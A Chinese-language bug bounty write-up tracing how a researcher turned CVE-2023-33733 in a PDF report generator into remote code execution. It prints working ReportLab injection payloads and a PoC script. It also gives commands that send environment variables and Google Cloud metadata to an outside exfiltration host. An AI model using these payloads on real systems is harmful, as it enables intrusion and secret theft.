背景介绍
CVE-2023-33733 由 Cure53 Elyas Damej 的渗透测试人员发现,本文将介绍国外一位白帽子通过采取哪些步骤,从确定目标使用什么库来生成PDF,最终又是如何实现 RCE的全过程。
目标简介
目标应用程序为牙医设计,可以上传患者的X光射线报告(支持PNG、JPG等格式),上传X射线图像后,可以编辑一些字段,如患者姓名、报告日期、评论等。在添加所有必需的详细信息后,还可以打印该X射线报告。
发现过程
首先在“生成报告”时抓包:
然后下载 PDF 报告并使用 exiftool 来检查是否可以识别在 PDF 生成过程中使用了哪种软件或库,遗憾的是没能获得任何信息。
然后白帽子在 comment 参数中添加了一些 html 代码:
"><img src=https://myhost>
通过使用上面的payload来识别可能用来渲染 html 代码服务器端的库/浏览器。
当再次点击“生成报告”按钮时,请求失败,检查响应包,发现报错:
{
"\nparagraph text '<para>Note: <font color=\"#484848\"><img src=x></font></para>' caused exception Parse error: saw </font> instead of expected </img>"
}
看到这个错误,稍微有点经验的朋友估计心里都会开了花吧?
从报错来看,服务器似乎没有对用户输入进行有效清理,而是直接在 html 文件中使用了它们。
<para>Note: <font color="#484848">{{comment}}</font></para>
因为没有有效的过滤清理,那么 {{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html。
另外从报错信息中可以看出,由于输入了<img sr=x>
,库的 html 解析器无法解析提供的 html,因为它没有匹配的结束标记。
<img src=https://myhost onerror=alert()>
在更换了上述payload后,显示了不同的错误消息,由于在 src 属性中添加了白帽子的个人服务器地址,当图像标记呈现时,请求将发送到白帽子的个人服务器,那么日志也许能告诉我们一些有关 User-Agent 的信息。
["\nparagraph text '<para>Note: <font color=\"#484848\">test\"><img src=https://myhost onerror=alert()></font></para>' caused exception paraparser: syntax error: invalid attribute name onerror attrMap=['height', 'src', 'valign', 'width']"]
报错信息已经非常清晰的描述了问题所在,onerror 属性不在 attrMap 列表中,这就是触发报错的根本原因。
删除 onerror 属性再次测试:
User-Agent: Python-urllib/3.10
酷!后端是 python,当谈到 python 时,用于生成 pdf 的最流行的库之一就是 reportlab (https://www.reportlab.com/)
白帽子过去曾尝试研究这个库的源代码,试图在其中找到一些0day,但由于源代码审查并不是很擅长,所以最终以失败告终。但毕竟对reportlab还是有一些基本了解的,因此白帽子复制了错误消息的一部分并开始在源代码中进行了搜索。
很快便在 invalid attribute name https://github.com/search?q=repo%3ASudistark%2Freportlab-diff+%22invalid+attribute+name%22&type=code 中找到了匹配信息。
def getAttributes(self,attr,attrMap):
A = {}
for k, v in attr.items():
if not self.caseSensitive:
k = k.lower()
if k in attrMap:
j = attrMap[k]
func = j[1]
if func is not None:
#it's a function
v = func(self,v) if isinstance(func,_ExValidate) else func(v)
A[j[0]] = v
else:
self._syntax_error('invalid attribute name %s attrMap=%r'% (k,list(sorted(attrMap.keys()))))
这与网站中显示的错误消息完全匹配。
研究人员 Elyas 分享了Payload 如何工作的完整详细信息,如有兴趣,可移步:https://github.com/c53elyas/CVE-2023-33733
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
在阅读Elyas的文章后,白帽子开始尝试理解这个payload,虽然阅读起来有难度,但通过 python 控制台来逐行执行它,对于后来的理解很有帮助。
在确认了使用reportlab库之后,白帽子使用了以下payload来确认它是否确实使用了存在漏洞的版本:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('curl https://myhost.com') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
它并没起作用,pdf 已成功生成,但没有 pingbacks 发送到研究人员的服务器。而后白帽子将curl命令更改为ping,wget,希望至少能够获得DNS交互,但依然失败。
这时白帽子开始怀疑应用程序是否真的使用了存在漏洞版本的库,在找到这个答案前,只能通过本地设置来完成了。
白帽子使用 Elyas 存储库中易受攻击的代码,以帮助他可以在本地确认该漏洞:https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py
from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []
def add_paragraph(text, content):
""" Add paragraph to document content"""
content.append(Paragraph(text))
def get_document_template(stream_file: BytesIO):
""" Get SimpleDocTemplate """
return SimpleDocTemplate(stream_file)
def build_document(document, content, **props):
""" Build pdf document based on elements added in `content`"""
document.build(content, **props)
doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
# [
# getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
# for Word in [
# orgTypeFun(
# 'Word',
# (str,),
# {
# 'mutated': 1,
# 'startswith': lambda self, x: False,
# '__eq__': lambda self, x: self.mutate()
# and self.mutated < 0
# and str(self) == x,
# 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
# '__hash__': lambda self: hash(str(self)),
# },
# )
# ]
# ]
# for orgTypeFun in [type(type(1))]
#]
add_paragraph("""
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>""", content)
build_document(doc, content)
可以看到该漏洞在reportlab v3.6.12中被成功触发。
那么让我们来看看修复版本中会发生什么:
看到错误了吗?漏洞利用失败。
当在目标中使用相同的 poc 时,没有显示错误,pdf 已成功生成,这表明他们确实使用易受攻击的版本,否则会显示错误。
另一位白帽@rootxharsh曾遇到了类似的情况,其中curl,wget,ping不起作用,因此得出的结论是Chrome 浏览器进程可能是在启用了沙盒的情况下运行的,但事实上后来当另一位白帽@iamnoooob做同样检测时,他使用了反弹 shell 成功收到回调信息。
因此回到目标应用中,curl 等不起作用,那么为什么不尝试使用 python requests 模块呢?
<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'requests', 'https://myhost'), ('__import__','get'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>
替换了payload后,白帽子在他的服务器上成功地收到了pingbank:
User-Agent: python-requests/2.31.0
这也证明了我们可以在系统上实现任意代码执行,再次修改 poc 并依靠它来将命令输出发送到白帽子的服务器:
python3 -c "import requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(id)')"
python3 -c "import requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(cat /proc/self/environ)')"
(None, 'os', 'echo cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg== | base64 -d|bash'), ('__import__', 'system')
<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'os', 'echo cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg== | base64 -d|bash'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>
/proc/self/environ
的内容非常非常敏感,由于负责生成 pdf 的服务器托管在 Google Cloud 上,我们还可以获取Metadata 响应,为了确认这一点,白帽子使用了如下payload进行测试:
python3 -c "import requests;import base64;metadata_url = 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true';metadata_headers = {'Metadata-Flavor': 'Google'};response = requests.get(metadata_url, headers=metadata_headers);encoded_metadata = base64.b64encode(response.text.encode()).decode();target_server_url = 'https://en2celq7rewbul.m.pipedream.net/';data_payload = {'metadata': encoded_metadata};requests.post(target_server_url, json=data_payload)"
经过美化后的PoC:
import requests
import base64
metadata_url = 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true'
metadata_headers = {'Metadata-Flavor': 'Google'} # custom metadata header requirement we have RCE so we could add it easily ;)
response = requests.get(metadata_url, headers=metadata_headers)
encoded_metadata = base64.b64encode(response.text.encode()).decode()
target_server_url = 'https://en2celq7rewbul.m.pipedream.net/'
data_payload = {'metadata': encoded_metadata}
requests.post(target_server_url, json=data_payload)
上面的代码可以向 Google 云Metadata端点发出请求,然后将 json 响应发送到白帽子的服务器(base64 编码)。
在确认所有这些信息后,白帽子停止了继续测试并向厂商报告了以上所有内容,目标厂商对漏洞报告非常满意,尽管他们的最高赏金是3K,但他们为该漏洞支付了4.5K赏金。